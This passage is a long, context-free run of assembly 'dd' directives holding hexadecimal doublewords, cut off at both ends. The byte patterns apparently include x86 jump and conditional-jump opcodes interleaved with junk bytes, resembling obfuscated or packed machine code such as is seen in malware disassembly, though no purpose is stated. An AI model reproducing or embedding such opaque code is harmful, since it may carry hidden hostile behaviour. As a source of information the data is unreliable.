47B232D5h, 93CCB86Bh, 0BC8FF90Fh, 0F980DC3h, 8B66D2B7h dd 13E9DAh, 0CC870000h, 0C41E5F50h, 6388631Ch, 993E69D4h dd 1D424CA3h, 0F28166C7h, 880F2150h, 2, 8C0FDE8Bh, 5, 27B0BEBAh dd 3A46BF6Ch, 0FF558B9h, 0F52DBB7h, 188h, 0B45EF900h, 4DBA6092h dd 617E84D5h, 890F60h, 61000000h, 0DD2CC3B8h, 7E9F504h dd 0F8000000h, 0C9F42F84h, 66F575BBh, 0DB81D881h, 17800Fh dd 12E90000h, 6C000000h, 1B4EB1A8h, 4ADFBE76h, 0DC5808DBh dd 0BA8E8909h, 47B86668h, 60F78BE2h, 66C28B66h, 0A8C0CB81h dd 0FFCF861h, 198Ch, 14E900h, 67340000h, 5D655C1Eh, 0E724ADF9h dd 0D341107Fh, 624605CAh, 8B519512h, 0E0805EFEh, 7BE18140h dd 664F45C7h, 4CFF781h, 11E9h, 0FD3DDC00h, 0E554D1Fh, 379E7258h dd 85C2AECDh, 8E96E7Fh, 7D000000h, 9B3FAB3h, 66F8E436h dd 0F22A3BEh, 687h, 41C68100h, 0E937A04Bh, 8, 917F6E99h dd 0C000CEC7h, 1A810Fh, 810F0000h, 14h, 0EE8h, 5BE1FA00h dd 0C889EB88h, 9335F770h, 5ED607C6h, 0C8B0Fh, 810F0000h dd 6, 890Fh, 810F0000h, 0Ch, 68A0Fh, 8A0F0000h, 0 dd 0CE8h, 0B8A8BD00h, 243FAE3h, 0BB6E1DD3h, 0B70F6050h dd 615B57D7h, 0C6BF0F58h, 62B86660h, 12E95Dh, 9E2D0000h dd 41BCD5D8h, 0E76F3EC7h, 0B8372300h, 0DF613878h, 18E0F61h dd 0F5000000h, 8F0Fh, 860F0000h, 14h, 0FE9h, 148A1100h dd 9A1530Dh, 30BC6E84h, 0D8895B90h, 810FF88Bh, 5, 7D1848BFh dd 2870F2Fh, 8B000000h, 0E84EB2C7h, 9, 5085ED38h, 362371BEh dd 665BF50Eh, 8166CF8Bh, 66E6F9EAh, 0EB81D38Bh, 3CC85C76h dd 0FF2B70Fh, 1987h, 14E900h, 0B92F0000h, 0FC8957D6h, 53293B1Ch dd 3C5C475Dh, 7AD82DAFh, 0C7810CBBh, 273EE40Bh, 69ECB866h dd 0DA8B6660h, 6E9h, 34FDD000h, 6180F25Dh, 80B1EA80h, 9E8ECF6h dd 52000000h, 9936B4CFh, 26E23D2Bh, 2253B95Bh, 0BB66780Bh dd 0BE661620h, 0B866AE47h, 0A0B85CE1h, 8B7D7BC7h, 0BE8CFh dd 2DD80000h, 3A9F5D9Bh, 717948B1h, 48F0FE4h, 66000000h dd 5F0DEAB9h, 9E9h, 7B3FE700h, 87878F4Ah, 0BF6693CFh, 69BB7010h dd 0F79CC53h, 28Ah, 660AB500h, 0FAB92B9h, 8B60CFB7h, 8F0F56FBh dd 0 dd 850F615Fh, 4, 1423B966h, 0B0B0BF66h, 0BF665650h, 5F5ED2B4h dd 76D38166h, 38E0FD6h, 0F000000h, 0F50FAB7h, 489h, 37BF6600h dd 8C0F5F7Dh, 0Ah, 1962B860h, 8B66757Bh, 0D18B61C7h, 12E9h dd 15DD7E00h, 3DC52935h, 4133086Ch, 3684110Ch, 0F8D50029h dd 0DE8h, 42C3FB00h, 0A22034BAh, 78917644h, 0BB6630ABh dd 0E85A4BABh, 5, 0BDBBD1F0h, 6659F504h, 0BF73F081h, 74A3B966h dd 6BBA66F8h, 8166F82Fh, 576AA2E9h, 0BE5EF78Bh, 82B6748h dd 8E9h, 0F88B9B00h, 879B3FC7h, 8A0F5703h, 17h, 12E9h dd 4A9CDC00h, 3E442A1Ah, 45CC0A4Eh, 0D01355B0h, 584E42CFh dd 0D4B661B8h, 9850F64h, 0F000000h, 381h, 71E28000h, 12E9D38Bh dd 89000000h, 0F9C52D0Ah, 0B182B305h, 5334CBA0h, 0E0D912BEh dd 0FEA8A4Bh, 0B966CBBFh, 0CA8B7BAAh, 28D0Fh, 3FB10000h dd 6E9h, 3750B400h, 0FC6CDDFh, 584h, 0CB816600h, 0E9F560BBh dd 14h, 0C0A9779Bh, 0CBC26C0Fh, 0F092B60Eh, 5BEFC63h, 4EAC0232h dd 779B52B9h, 0EC2FB824h, 66F8011Ch, 810EABB8h, 746BA3DFh dd 48D28145h, 663433FBh, 0D18BF18Bh, 0F38BEB8Ah, 0CE8h dd 0DC18300h, 0FDBE24BEh, 5FF2C2h, 0DB81666Bh, 665F5161h dd 662585BBh, 8B66C68Bh, 7E8F3h, 0A47E0000h, 0EEC307A9h dd 11E837h, 24390000h, 0AE591A73h, 7BE6ED6h, 0F62BFC1Eh dd 0F9798FDCh, 0F7815A5Ah, 564E528Eh, 58CCE181h, 0BE661AD8h dd 81668673h, 0BB3125C0h, 5D29CC0Ch, 7E8h, 0C9C66D00h dd 20D09E75h, 0F482BF66h, 34D6805Bh, 0DE9h, 7C6F0D00h dd 92068ADBh, 2DB2D020h, 6ABE16BDh, 60491039h, 0E9D98B66h dd 0Bh, 4DBD3A63h, 5B2256FBh, 6108F1F3h, 0CE8014B5h, 0BE9F88Dh dd 0AA000000h, 7A9895E7h, 0EEAF677Bh, 0C281F16Bh, 356333Fh dd 0BDB8D781h, 12E904A5h, 0E4000000h, 0A8B22DB9h, 0F0F4D807h dd 3F8968B5h, 80E0E82Dh, 0D7B70F75h, 3830Fh, 0BF0F0000h dd 0FE8D6h, 0C0880000h, 4B66F8F4h, 0F6D38DFDh, 9C1B5C34h dd 16800F5Bh, 0E8000000h, 10h, 8444E861h, 1BD26BBh, 0F54F974Dh dd 1DB01D15h, 8B665F5Fh, 18C281D1h, 605B4E3Ch, 15890Fh dd 10E90000h, 0FC000000h, 338CB136h, 0EE9953A5h, 9AD1212Dh dd 0E9DFAF9Eh, 0Eh, 9CB39FACh, 74BC1273h, 8B982CF5h, 8161ACE7h dd 0BF66EF3h, 0FE875h, 0C0DA0000h, 0FC026216h, 1EE3BC2Fh dd 4C4AA6E0h, 59D38BFBh, 9E8h, 0B1D6BB00h, 950667ACh, 0F5E51B1h dd 586h, 0DF816600h, 0C68182B2h, 57B0E84Dh, 0E8F8B70Fh dd 0Bh, 542166FEh, 0ACF1CF55h, 8A14AEA7h, 0BEF95BC2h, 4467345Bh dd 11880Fh, 9E80000h, 43000000h, 0FA729CA4h, 0F9DB615Ch dd 665A5857h, 0BB66C18Bh, 0BF0FFA64h, 0B0D281DEh, 8111DB28h dd 0CC7C28E3h, 0CF81F951h, 356049B3h, 94E88166h, 0B35760E7h dd 0FAB95AF9h, 611FE405h, 6E9h, 486ED800h, 56DB37ECh, 31DF815Fh dd 5731FF59h, 5EC1B70Fh, 890FCB8Bh, 0 dd 5E8h, 89FC4400h, 8E0F043Bh, 5, 3C78166h, 0BE665EC0h dd 6660711Ah, 6156E1B9h, 0F1B70FF9h, 22F18166h, 1D7CB9C5h dd 5E90D32h, 0E4000000h, 9CFF2C82h, 0F7816657h, 0FC5FFD61h dd 0BE9h, 2FBC9B00h, 0C4FA4AFCh, 0FF88FFB8h, 0F28B6660h dd 27E98061h, 0CE8h, 0F847F900h, 0C174B843h, 0FA300698h dd 0D18B6692h, 605F5058h, 0E9D0B70Fh, 0Ah, 4CD19BA1h, 3E0811A8h dd 8B61C02Ah, 0AE9C8h, 0B4790000h, 82E01A88h, 0A5B0F550h dd 10E8F8h, 60AE0000h, 1EB4007h, 97C06173h, 76CA2AE8h dd 3BB808CFh, 5F71FFBCh, 0C2B70F60h, 0F561D38Bh, 0BE8h dd 8806A000h, 0B3DFBD2Ch, 0D179E85Ch, 830F5FFCh, 0Ch, 6850Fh dd 8D0F0000h, 0 dd 0CE8h, 0B00DCB00h, 7A9A75ADh, 51B940C5h, 73EA8110h dd 5F180680h, 8B0FF5h, 81000000h, 9DC18CE3h, 9E974h, 0C4A10000h dd 45A3A059h, 819650EDh, 0A8F376C3h, 575B5179h, 5FD1B70Fh dd 0BF66F28Bh, 8166777Dh, 60ECD7C3h, 0C7816660h, 0BF0F1F23h dd 816661C6h, 616AECF0h, 5E32BF66h, 0FF7BF0Fh, 482h, 41BF6600h dd 40BA6603h, 14890F5Ch, 0E9000000h, 0Fh, 72FB698Bh, 3DA1BF8Fh dd 0A55E49D0h, 0E941E690h, 0Ah, 4997A71Bh, 0C301DBh, 0EA8186EFh dd 64FD62A7h, 0FF28B66h, 78Bh, 8B666000h, 616160DFh, 0E5CFD881h dd 0BF0F2A0Bh, 0BE9F1h, 0A5980000h, 274E452Ah, 0B20CCC23h dd 4E40BF91h, 810F6221h, 5, 114A85B9h, 7E917h, 889D0000h dd 870515EDh, 5E9605Dh, 11000000h, 0B1979F30h, 0A6ACBF66h dd 10E861h, 0B5FF0000h, 0B469DADDh, 0AC9ACFB8h, 9DB80286h dd 6E94A46h, 8F000000h, 9B656A04h, 0BF0F5A15h, 8AC78BC3h dd 0DDB753D9h, 6DB9665Eh, 7E936h, 0C8880000h, 1E515F89h dd 0C7816606h, 850F7382h, 0 dd 0F18B51FCh, 0EE958h, 0C3050000h, 8BA18564h, 78C61ABEh dd 0C92D4686h, 0FCA8B66h, 8E8FBBFh, 37000000h, 0CF444D8h dd 0F3722DAh, 58Ah, 0F0816600h, 8A5FF0E7h, 0DE9D5h, 0C9F00000h dd 0BF15DF0Fh, 17C28017h, 0FF442ADh, 0B8Ch, 5820F00h, 66000000h dd 0E8B8E381h, 12E9h, 1814D700h, 8B1D5EB1h, 47F80B2Ah dd 1877D4F1h, 6053D2BAh, 0B4FEBF66h, 870Fh, 0F610000h dd 13E9F7B7h, 5A000000h, 9C5AC7ADh, 9029E668h, 34FA1ABAh dd 0CFF1CE0h, 0CE9B1F7h, 77000000h, 0DA5C65B5h, 2CE64552h dd 0F315863h, 286h, 0E8FB8B00h, 0Fh, 5EA2C24Dh, 9ADFC48h dd 992E7378h, 0FC2FCFF3h, 0F7BF0F5Ah, 9FBF6651h, 81665B5Dh dd 0E820C8D2h, 14h, 0B2FCB720h, 0B491BAA1h, 4C2E9CE0h dd 6A42139Fh, 8EADAB33h, 0F5B06B5h, 13E8C7B7h, 36000000h dd 20169E43h, 86A4974h, 0C84C7151h, 8BD08FDDh, 0CE80B1Fh dd 9B000000h, 937FA6Fh, 0CB6B3842h, 668D4911h, 5E3EDFB9h dd 0C2BF0F5Ah, 2890Fh, 0C68B0000h, 0ED9DE181h, 0B6B86A99h dd 8A5ACC9Fh, 0F8B70FD9h, 1A8C0Fh, 12E80000h, 0B9000000h dd 0BAA6D074h, 0B4ABCCD0h, 0AADBDC82h, 0F52C000Ah, 5F12B174h dd 0A8E0Fh, 5E90000h, 48000000h, 9687386Eh, 8BDE8BFCh dd 0C3B70FC1h, 0FC78B66h, 0BB66D6B7h, 0B70F6F0Fh, 0AE9DEh dd 36E0000h, 50B99139h, 0A0FB47C2h, 1521A0BEh, 0F63CBF26h dd 0E9607DBFh, 0Dh, 0F67A356Ch, 691B77CDh, 19F4A6Bh, 0C88161DFh dd 0ACB2BB6h, 0C4A1E881h, 8B0F0512h, 5, 0D053DAB8h, 0DE91Dh dd 0AE720000h, 1F5C18F9h, 0BEE0C6D2h, 0F3F1A81h, 1786h dd 12E900h, 0A9C60000h, 0C8D92A41h, 702BF620h, 30F956B0h dd 3DAF0CB7h, 0BE66DA8Bh, 880F0C2Bh, 1Eh, 880F60h, 0E9000000h dd 11h, 0A0B94136h, 0CA0391C3h, 0F0EDE555h, 0D0DFA4D4h dd 0E95361BBh, 0Ah, 0C1E96FA0h, 317B9C3Bh, 8A5FA76Eh, 77FAB9D1h dd 0C68105CBh, 6D5A373Fh, 0AE9h, 0AA065200h, 39266FF7h dd 56168C9Eh, 8E9h, 5CB2B900h, 0B80E75B9h, 0F575F99h, 6658D3BFh dd 0C78ADE8Bh, 0E9C18B60h, 8, 55F67260h, 1B98DCB9h, 0AE861h dd 0ED150000h, 7EE2A520h, 0DC104434h, 0EE9h, 0A2F54A00h dd 3FD91B47h, 15EAC77Dh, 5F66021Ch, 0FE8F5h, 67710000h dd 45D2EC75h, 8A6FE66h, 0DA5603BDh, 1B74BEB4h, 0F85E23C9h dd 0C2D68160h, 8B1943B6h, 12E961FAh, 94000000h, 2489AFB8h dd 88DE0443h, 0F5838B14h, 1234FCE1h, 0BE907h, 497A0000h dd 3241E120h, 0C0A1B886h, 18E0FD7h, 0FC000000h, 0E9C28BF5h dd 10h, 44AAB53Ah, 50FC9DBEh, 5EC271AFh, 0EC553BE8h, 0CE97BB3h dd 0D5000000h, 0A560DCE1h, 0B288822h, 0E99B7106h, 8, 57A2A5E0h dd 0B031C5B5h, 0D8D88166h, 5ED680DAh, 8BC781F8h, 0F6165C6h dd 0A8Fh, 4820F00h, 66000000h, 660272BAh, 8AF6ADB9h, 660BB0E5h dd 0D681D08Bh, 133BF9F4h, 0BE950h, 4D9F0000h, 46CD5FD5h dd 6E75197Ah, 0CE85EA3h, 0F1000000h, 0ECF46404h, 0E8058C43h dd 0E9EC4E88h, 6, 9B6A7Ah, 605F8357h, 39DA8053h, 6056615Bh dd 61608FB7h, 81665E61h, 666BF2EEh, 0B3C971BFh, 0D68B66B7h dd 0D3C9E881h, 0FF81723h, 0FE8BC9BFh, 0BE952h, 23B20000h dd 0CFC68B29h, 944CFD58h, 0BF0F5F89h, 188B0FF8h, 0E9000000h dd 13h, 1B705CDBh, 2AA8BF40h, 0F37F800Ah, 74061455h, 0F740D47h dd 8B66FFB7h, 0F28B66F8h, 3DD290BFh, 7CD8805Dh, 2860Fh dd 0E4B50000h, 0FCD08166h, 0E8F38B1Dh, 5, 0A4EAD44Eh, 5539BF65h dd 0E95846D2h, 6, 2B4359F9h, 0E960210Fh, 0Ah, 499BB94Ah dd 30ED25A7h, 840F769Bh, 0 dd 0AE961h, 0C6D10000h, 637B0625h, 28048559h, 919DBB66h dd 48A0Fh, 0BB660000h, 0E2818363h, 14C90E93h, 8E8h, 0C66D6200h dd 0D09E75C9h, 10E920h, 25DE0000h, 0DA52C1EEh, 19E9D7E8h dd 4659C27Ah, 0E95A624Eh, 13h, 0D1D1E6E0h, 73A998AAh, 2952F609h dd 0D4087744h, 80AD56BCh, 6657B9DEh, 5F9174B9h, 8539BF66h dd 3462BB66h, 0E8E98166h, 0EDBF6653h, 8166F521h, 50A05CC3h dd 0B8B0Fh, 5E80000h, 0E1000000h, 55DF4FA1h, 0BF0F5B59h dd 666052CFh, 0F8AC2DB9h, 66F55F61h, 0BAE787BFh, 8D48739h dd 2840Fh, 0F58A0000h, 36B966F9h, 0FFBF0FFDh, 0FDABF0Fh dd 0FE8C8B7h, 4F000000h, 9438156Eh, 6971E4B5h, 0D1E95F11h dd 58F95192h, 8820Fh, 890F0000h, 2, 0C0B9D7B0h, 0B8330B0Fh dd 39CE3E5Dh, 0CE9h, 73DC5A00h, 0D4CFF2D2h, 31936EA5h dd 39B96696h, 0BE830h, 30920000h, 0FFAEE096h, 0F279FBEEh dd 0DFB70FA4h, 81665059h, 5E54BFD6h, 0EEC88166h, 0CBB70FEFh dd 1FE0BE66h, 19AC381h, 0CE95B11h, 34000000h, 0A33BEE3Fh dd 20698E36h, 0E8A38CC1h, 0Ah, 119882D8h, 773E1F58h, 8B0FAED2h dd 2, 0F95BD68Bh, 0D78AE7B0h, 3860F51h, 80000000h, 665F4BDAh dd 0B70FCB8Bh, 81D18AD9h, 0B70674D3h, 10E970h, 0E4950000h dd 27A29551h, 5FC3C647h, 67846EBh, 0CF8A6E10h, 14810Fh dd 80600000h, 9E82FE1h, 7B000000h, 563FACA9h, 0EC083FBEh dd 840F615Bh, 5, 2FD08166h, 8B6657F1h, 66F558F3h, 605BEBBFh dd 0EE856h, 13240000h, 0DDC97E71h, 46E8E306h, 0B779262Fh dd 0BF0F5858h, 0BF6661F8h, 8B0F7494h, 0Ch, 68E0Fh, 0E1810000h dd 0E57165Ch, 1C800Fh, 14E80000h, 0B9000000h, 40C05436h dd 8923D22Ah, 0B0236B10h, 0AC643C63h, 8B57F1A8h, 0B70F5FFAh dd 16800FC2h, 60000000h, 13E98166h, 0AE9B6h, 0D88F0000h dd 2F78D56Ch, 3ABFC218h, 54B86061h, 0F81863C9h, 0B05EBF61h dd 8F0F1721h, 5, 10AE0CBAh, 0F8BF0F00h, 0EE8h, 5312000h dd 0D295C1BBh, 13D11834h, 0FC2866Ch, 289h, 5BC68A00h, 8B66F9F5h dd 4EBF66C1h, 0B840F42h, 0E8000000h, 5, 3451D5F7h, 0B70F5B11h dd 0DEBF0FDAh, 0EE9h, 103C8F00h, 4FFF5504h, 0BCF0854Dh dd 66B9C752h, 4122DE81h, 9E9F5h, 0AF7A0000h, 687808FBh dd 81F415B2h, 0FA6647DFh, 8BE18A7Eh, 4870FF2h, 66000000h dd 81944FBEh, 0A41F83D2h, 0FE969h, 0CF130000h, 1265CBCFh dd 8D54D9AEh, 0B4AAC5C4h, 0C68BF9E3h, 0BE8h, 8FB6F500h dd 0D5233E33h, 9F9BB7D5h, 38D0Fh, 0BF0F0000h, 880F5ED0h dd 9, 38D0Fh, 8B660000h, 0CE8A50DEh, 3850F5Ah, 66000000h dd 860FD68Bh, 18h, 13E9h, 0BD1A0F00h, 6B3C38EDh, 0D49E51DFh dd 1C0D7F7Ah, 0F8AE635Ah, 0B8C78166h, 28D0F2Ch, 0B1000000h dd 0D88BFC9Dh, 66D2B70Fh, 0F9EC9BEh, 1087h, 0BE900h, 56FF0000h dd 0A2F8407Eh, 0B76AEEACh, 8BE78A46h, 8E960D6h, 80000000h dd 9E2DE5Eh, 0F53F4847h, 0D6816661h, 32BE1090h, 0F7EC1F1h dd 38Eh, 0CEBF0F00h, 0FFA8B66h, 68Ah, 51EE8100h, 817B7B82h dd 63BE9EDAh, 8B66600Eh, 8A6061CFh, 0E861F9F8h, 5, 0DFE46BD3h dd 0B059F510h, 0FFBF0F69h, 3850Fh, 8B660000h, 0F60F5F7h dd 680h, 0AEDE8100h, 0F72E420h, 8161D0BFh, 18754E8h, 0F6B70F70h dd 0F04BDF81h, 0E9FC2077h, 0Bh, 695CC20Fh, 0FD544916h dd 0F9382E90h, 0F983EB80h, 6820F57h, 0F000000h, 84h, 6E95A00h dd 60000000h, 76675CC0h, 0FE962h, 57850000h, 0D27244AEh dd 56AD435Bh, 830FBD5Ch, 0D1816659h, 0BF663F69h, 0E980D07Ch dd 88D68007h, 0C6AABF66h, 7E8h, 0EC940100h, 4CC4CEE3h dd 5EDAC280h, 0E997EC80h, 0Fh, 178970DAh, 0D5FF3BDAh, 3CE9B009h dd 66B0C5AAh, 0F960DE8Bh, 61C88B66h, 14E9h, 0A008D300h dd 6C3AD078h, 97D7163Fh, 0C5C72EB9h, 0CB6EAD0Bh, 0FE953CAh dd 0CB000000h, 305E1AE6h, 6F3A2522h, 22F5CAA3h, 665ABDB8h dd 667F76B8h, 81F8C18Bh, 0C45EB6D8h, 0F28B6624h, 56C2B70Fh dd 28A0Fh, 0DD8A0000h, 0CDEB815Fh, 8B094D48h, 5E960F2h dd 89000000h, 0FF3BDA17h, 61D68B66h, 74D28166h, 5860F48h dd 60000000h, 61F9B70Fh, 12880Fh, 7E80000h, 0A8000000h dd 5D2AED27h, 8166CAD8h, 5EC3C3EFh, 4820Fh, 0BA660000h dd 0AE87C70h, 81000000h, 0A44B3F77h, 9F573C24h, 0CE8166B4h dd 66588C47h, 0E99F64B8h, 5, 0E932E291h, 6004B3AEh, 0FCEB70Fh dd 58Eh, 7F43BA00h, 0F6161B5h, 0A81h, 4890F00h, 66000000h dd 80E7C1BBh, 0E680A6F1h, 0EE9F9BFh, 99000000h, 186E68B4h dd 88726ABBh, 0C5A6C518h, 5E9A4h, 0FA920000h, 6692347Ch dd 684BDF81h, 8ACF8B66h, 65B052EFh, 850F5758h, 16h, 11E9h dd 0F08CA000h, 0E5468E9Dh, 766E5E50h, 28FC558Bh, 0BB5F216Fh dd 3F579D3Fh, 2D11E181h, 0EE9255Ah, 22000000h, 0B3F3DDA4h dd 0A16C4490h, 1A9C8C6Ch, 0D0BF66CCh, 6E9A0h, 48F0000h dd 159B656Ah, 0CE9h, 0D12F8700h, 12AE5DF8h, 36434EE9h dd 52EC806Eh, 0E808E680h, 6, 68F62FD6h, 6660FEB0h, 66BE9EBBh dd 3C4EEA81h, 0DE95A61h, 59000000h, 3BEBC2CCh, 0B598A60Eh dd 4FA1E100h, 8166F98Bh, 0F0530DAh, 0B88h, 5E800h, 469B0000h dd 58AD0928h, 0AE9h, 529F4500h, 3554C198h, 66662652h, 2FF5DB81h dd 0C8A0Fh, 800F0000h, 6, 840Fh, 0BF0F0000h, 0DEE80C8h dd 665252B1h, 0B95FDF8Bh, 511FCB32h, 208D0Fh, 0E8600000h dd 0Dh, 0FEAC156h, 95ED08F6h, 0DA74DBD6h, 5E8597Ah, 8C000000h dd 0DD55F2B0h, 0EE8615Bh, 0E6000000h, 0B3EA7D08h, 3FE3ABF9h dd 7C757787h, 0CEB70F99h, 0FBBF0F58h, 14E9h, 6846100h dd 0BBE8DE64h, 8504409Ah, 4ED34501h, 0EAF50205h, 0EE9517Bh dd 0BE000000h, 0E6E775D8h, 355A26FEh, 51458F78h, 8B665904h dd 0EFBB66F2h, 0C9C68111h, 5010C9E0h, 48A0Fh, 0BB660000h dd 0E958F5B9h, 0Eh, 0AC1D99B0h, 6FB4F653h, 7BE89E3Dh, 0BF0FFDFDh dd 0F28166DBh, 0EE9A2ACh, 16000000h, 2FA86AE9h, 0A8931748h dd 847119BEh, 0F8DE8B96h, 5F5ED381h, 0F5532F93h, 8E95Bh dd 0B4550000h, 9326F904h, 0C8812089h, 3BEAE181h, 3800Fh dd 0B70F0000h, 0FB8B66C2h, 0BF6624B4h, 0C78B2DFFh, 3FBA62B4h dd 6631B9CBh, 0E8D4F781h, 6E9h, 0AFFB2400h, 0F95F22B2h dd 599202BBh, 0FC78B53h, 38Bh, 0CBBF0F00h, 0BDB45A56h dd 13E9h, 9241F00h, 85A48A41h, 87CC6CE1h, 1DE8207Ah, 2A74EB25h dd 0E8B0Fh, 9E90000h, 0F9000000h, 7C14DBB6h, 813EA10Eh dd 0A9A835BEh, 0E8F18B44h, 5, 4203496Fh, 58F0F7Ah, 0B8000000h dd 245D596Ch, 73DB815Eh, 6600422Bh, 0E8F8D68Bh, 0Ah, 0A126678Ch dd 0B727D266h, 880F8F7Dh, 3, 5F81CA80h, 8B66F08Bh, 6E8F9h dd 0E9C40000h, 245D9E98h, 0E8816659h, 800F9A73h, 0Ch, 68C0Fh dd 0D1810000h, 2750B111h, 66D68B66h, 0AC5CF681h, 9EEB8166h dd 0D38B5649h, 8E9F95Bh, 38000000h, 0DF2A9732h, 66ADDD06h dd 0E9CC47B8h, 9, 0EECA325Dh, 319D85D8h, 0A9B966F8h, 13860F46h dd 0E9000000h, 0Eh, 0EFF0E32h, 757FF2A2h, 0DF0B9FF4h, 8B668A31h dd 17800FFBh, 0E8000000h, 0Bh, 5DADA8F8h, 0ECA2B831h, 0F7F8D51h dd 8Ch, 5E85F00h, 0FF000000h, 1A22CFB0h, 5ECE8B57h, 3860F5Bh dd 66000000h, 0CE8CE8Bh, 88000000h, 97D943E7h, 6A111A3Bh dd 0B6EF32E0h, 0BE95FB5h, 0A1000000h, 0DCF75116h, 0A6D6963Eh dd 0CE81B190h, 3C49F9EBh, 7E850h, 24F90000h, 0E6CCBD33h dd 0DE885h, 65710000h, 80BCDE50h, 1FC1E531h, 5F2AD321h dd 0F08A5B5Fh, 0BAE9B866h, 0B8FCFA8Bh, 7F0CD447h, 0B866FA8Bh dd 6BB28AAFh, 7A6D33BFh, 66D88A02h, 403BE681h, 0E9DBBF0Fh dd 0Dh, 723B6FC2h, 576B54CFh, 0E4DD47C4h, 6ABF6619h, 1830FEEh dd 0F8000000h, 0FA8BF960h, 0D865B861h, 0B70F79F3h, 60F18BF7h dd 5E951h, 0FF320000h, 5F711E42h, 6061DF8Bh, 2EE48060h dd 0F6B1B861h, 666101CAh, 669DF6B8h, 96B3F38Bh, 850Fh dd 0FF50000h, 0F78BD1B7h, 2880F60h, 52000000h, 0C38B6658h dd 14E86061h, 0F0000000h, 0C29D5CB6h, 3294BD2h, 68ED2D62h dd 0BE8A03D1h, 0FCE79D8Bh, 12E96058h, 0C4000000h, 15A1A795h dd 24BA5261h, 130A2F7Ah, 8FF8031Fh, 0CBC981C5h, 6174D44Ch dd 13850F61h, 0E9000000h, 0Eh, 4B96D67h, 0FE8B616Ch, 15BA2DF1h dd 0BF0F8BACh, 0F2CF81F3h, 0F085A73h, 1A8Eh, 10E96000h dd 0C2000000h, 6F9EDAE0h, 5069DE47h, 0EA119A92h, 0FD4843Fh dd 8B61F2B7h, 0ACC5B9D8h, 5F50626Dh, 8E0FDE8Bh, 6, 6EC3F681h dd 66601A75h, 6060C68Bh, 6E961h, 0EF300000h, 9BA281B6h dd 9E96161h, 0F6000000h, 0A86408A7h, 59090C59h, 0FCC3BF0Fh dd 3810Fh, 8B660000h, 7E9CEh, 0DEF30000h, 6FAE907Dh, 0DF8B6057h dd 0B86661F5h, 0BA668912h, 66FC7757h, 66CF21BAh, 6056CA8Bh dd 0FE9h, 0C9170E00h, 0C6D41A14h, 0F8827802h, 0F8F08174h dd 5B61B6B4h, 0BECE8B66h, 6342183Bh, 6902FCBBh, 53DE8A28h dd 14E8h, 83E8F600h, 6B18FE80h, 6020C2EBh, 2E0DB1B9h, 0D60DE9D3h dd 0F5B5F43h, 28Fh, 80CE8B00h, 8E960EBh, 2F000000h, 0D06E90BDh dd 0E9A2BB90h, 8, 88E8058Ch, 1FBDEC4Eh, 6E9h, 0B6785600h dd 8B7E4054h, 2870FCFh, 8B000000h, 0D3BF0FCFh, 8B6650FCh dd 10E95FC3h, 29000000h, 5157EE23h, 0ED48A5C6h, 573E7FD5h dd 0BEB1E5A1h, 4D244946h, 0B9FFB70Fh, 73C75B02h, 5E9h dd 0EFADB200h, 80F9D6CDh, 0DF8B6EC7h, 81F1B70Fh, 61DE8BC0h dd 0FE948h, 82A10000h, 0C1EA3B47h, 7D32C36h, 9046D35Dh dd 0B0D98111h, 0E95B97BCh, 8, 88F3C493h, 0AA5C9513h, 0F1B16060h dd 8B0Fh, 0B8610000h, 3101E829h, 0F2806061h, 6E86188h dd 0F6000000h, 0CAA718FAh, 0FE39B8C1h, 0F5A5E64h, 589h dd 0F2816600h, 8E99CFDh, 8A000000h, 0FC3FD22Eh, 66B086FAh dd 2AF4DB81h, 0AE9h, 0F6BC7400h, 10CCC7AFh, 0FC36F974h dd 0CE9h, 32781200h, 0E9F353D7h, 0C5B6FB6Dh, 0FF08BB4h dd 286h, 60CC8A00h, 3840Fh, 0C7800000h, 11E8619Dh, 6000000h dd 8177032Ch, 0C2B85191h, 527A099Fh, 30C52A25h, 525FD08Bh dd 0CE9h, 2D9B9D00h, 167FBD0Ch, 6725A117h, 6E95829h, 36000000h dd 0FFE7A49Ch, 0F7816621h, 9E9D12Ch, 65000000h, 75CA2325h dd 0BAC55451h, 8166C28Bh, 80D82CC0h, 0AEB553C2h, 83B863B7h dd 80425A28h, 99B1CDF3h, 45B8F081h, 0DF8136D8h, 6557862Fh dd 6610E480h, 0E959FAB8h, 11h, 0F374129Bh, 4D6F84B8h, 0C4CC5B25h dd 59B2641Ah, 0EE816616h, 8166D755h, 0B17161D3h, 12E8BEh dd 0E8090000h, 0CABEBB3Ch, 4CF2282h, 0B9E70E2Ah, 0D8D82BDEh dd 0C1816660h, 8B66B320h, 0E85F61D0h, 0Ah, 807B6D69h, 65EA7746h dd 8E8271Bh, 11000000h, 487115B1h, 608C09B9h, 0F5E5961h dd 689h, 8C0F00h, 0F000000h, 8Ch, 16B86600h, 3800F4Bh dd 80000000h, 5E847C3h, 0EB000000h, 0E761B0F1h, 0D9816658h dd 0FF93BEDh, 581h, 0F2816600h, 8166B71Bh, 66C698F2h, 66D377BAh dd 0ED26DA81h, 669DC380h, 0BE8D88Bh, 0B6000000h, 4340EF6Ah dd 0EA1BE80h, 0B360CB2Ch, 5B61FC5Ch, 568BC580h, 8A0F60h dd 0E9000000h, 0Ch, 0F602674h, 97A6670Ch, 8B86977Eh, 0C1805961h dd 10E968h, 5FEE0000h, 8691FCECh, 4A9CDC5Dh, 3E442A1Ah dd 0BB660A4Eh, 8166BA1Ah, 0F02EFF6h, 38Dh, 0B0CD8000h dd 13E9E681h, 0FF861F2h, 0E957C6B7h, 7, 0AE80D3D7h, 59487ADFh dd 0DE9h, 0DABD0900h, 0E53F11C9h, 7403BB0Fh, 5E98122h dd 0A8000000h, 2BB4D215h, 0FD2BF0Fh, 80FCCAB7h, 0BF664FCEh dd 8B662A1Ah, 66F88BFBh, 0E94E6EBAh, 9, 0BEADDB75h, 0E1F73CC4h dd 8C381EEh, 0E93D92FBh, 5, 0B28E71C3h, 54F381CBh, 0E96B7939h dd 9, 51BA61ADh, 3F50EC13h, 5830F6Ah, 50000000h, 59CAB70Fh dd 0FD78B66h, 8Dh, 0C68B6600h, 12E8h, 57C87600h, 3B0B0BBBh dd 219C496Eh, 5FB4A632h, 0E9A65852h, 7, 0DAB75ECBh, 5FD04B5Bh dd 0E2816060h, 707F9561h, 6061F961h, 5C44BB66h, 0FF98B61h dd 0BE66CEBFh, 0D680470Ah, 0CB8A5133h, 4584B859h, 0EE963C7h dd 7D000000h, 4D7E0D01h, 0C208153Eh, 80BA764Fh, 89EA814Fh dd 80596273h, 5156F8CFh, 880F5F5Ah, 2, 78B755B0h, 0FADDBE66h dd 0F61FC60h, 384h, 0C9BF0F00h, 0C8B70F50h, 7E859h, 9AE0000h dd 0CC2AD2FBh, 0BE9E5h, 42F30000h, 0CA7D280Ah, 0C3D9078Fh dd 0C1815A98h, 